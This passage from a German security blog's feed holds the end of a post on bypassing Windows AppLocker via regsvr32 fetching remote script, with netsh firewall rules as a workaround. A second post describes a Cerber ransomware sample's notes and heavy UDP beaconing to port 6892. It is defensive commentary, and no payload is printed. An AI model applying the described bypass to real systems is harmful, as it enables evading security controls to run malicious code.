Auf der Gegenseite braucht es nun nur noch das passende File mit ein bisschen XML und JavaScript und schon kann jede beliebige Aktion über einen simplen HTTP-Request ausgeführt werden:

regsvr32

Gerade jetzt, wo die Malware-Thematik aktueller ist als je zuvor und so Lock-Down-Applikationen wie AppLocker als gute Lösung gehandelt werden, sind solche Spielereien tödlich!

Ein Fix ist aktuell noch nicht verfügbar, lediglich das Einschränken von regsvr32.exe mittels einer SW-Firewall bietet einen Workaround:

netsh advfirewall firewall add rule name="Block regsvr32" dir=out action=block program="C:\Windows\System32\regsvr32.exe" enable=yes
netsh advfirewall firewall add rule name="Block regsvr32(x64)" dir=out action=block program="C:\Windows\SysWOW64\regsvr32.exe" enable=yes

Hoffen wir mal, dass Microsoft bald nachzieht…

]]>
http://blog.encodingit.ch/2016/05/mit-regsvr32-den-windows-applocker-aushebeln/feed/ 0
Cerber Ransomware – Geht’s noch etwas lauter bitte? http://blog.encodingit.ch/2016/05/cerber-ransomware-gehts-noch-etwas-lauter-bitte/ http://blog.encodingit.ch/2016/05/cerber-ransomware-gehts-noch-etwas-lauter-bitte/#respond Fri, 13 May 2016 09:26:42 +0000 http://blog.encodingit.ch/?p=5343 Bisher habe ich nur von der Ransomware Cerber gelesen. Die Eigenheit, dass die Ransom-Note auch über den Lautsprecher vorgelesen wird, ist ja schon irgendwie cool, schliesslich ist es mal etwas anderes als die üblichen Notes, welche man sonst so liest.

Und heute bin ich nun endlich mal über ein Sample von Cerber gestossen und muss schon sagen, ist bin gleich doppelt enttäuscht! Einerseits waren da nur wieder die üblichen, langweiligen Ransom-Notes in TXT und HTML. Die „sprechende“ VBScript-Datei war nicht vorhanden 🙁 Und das bisschen ASCII-Art machte den Verlust auch nicht wieder wett:

13-05-2016 10-56-54

Aber neben der ersten Enttäuschung, gibt es noch die Tatsache, dass die Malware auch sonst gerne mal rumschreit…

Diese versucht nämlich ziemlich exzessiv Kontakt nach Hause herzustellen: Und mit ziemlich exzessiv meine ich 15’000 UDP-Anfragen an insgesamt 10’000 unterschiedliche IP-Adressen aus dem 85.93.XXX.XXX-Bereich nach Port 6892… Und das innerhalb von knapp einer Minute! Also noch lauter „HALLO HIER BIN ICH<" schreien kann man ja wohl in einem Netzwerk nicht mehr: 13-05-2016 11-13-51

Eine komplette Liste der kontaktierten Adressen gibt es hier: cerber_ips.

]]>
http://blog.encodingit.ch/2016/05/cerber-ransomware-gehts-noch-etwas-lauter-bitte/feed/ 0